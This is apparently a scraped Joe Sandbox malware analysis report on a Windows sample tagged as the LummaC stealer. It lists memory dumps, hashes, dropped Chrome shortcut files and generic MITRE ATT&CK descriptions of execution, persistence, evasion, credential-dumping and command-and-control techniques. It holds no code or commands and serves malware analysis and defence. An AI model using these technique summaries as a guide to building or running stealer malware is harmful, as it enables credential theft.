Associated: 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399178780.0000000005D46000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005D4A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000005FF3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006002000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2399201862.0000000006004000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d40000_bzzF5OFbVi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac1701a9bf33719b73c918df7a9f30148039810e8085984c19f5e62e4d039a78
Instruction ID: 65587267438a79fc632662915f62a79b4f517a206bef4f551cbbeeb7c86481c3
Opcode Fuzzy Hash: ac1701a9bf33719b73c918df7a9f30148039810e8085984c19f5e62e4d039a78
Instruction Fuzzy Hash: 5DE04F761141019EEB00DF54C84599BFBF4FF59310F209849E488C7622C2358855CB2D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bzzF5OFbVi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
bzzF5OFbVi.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre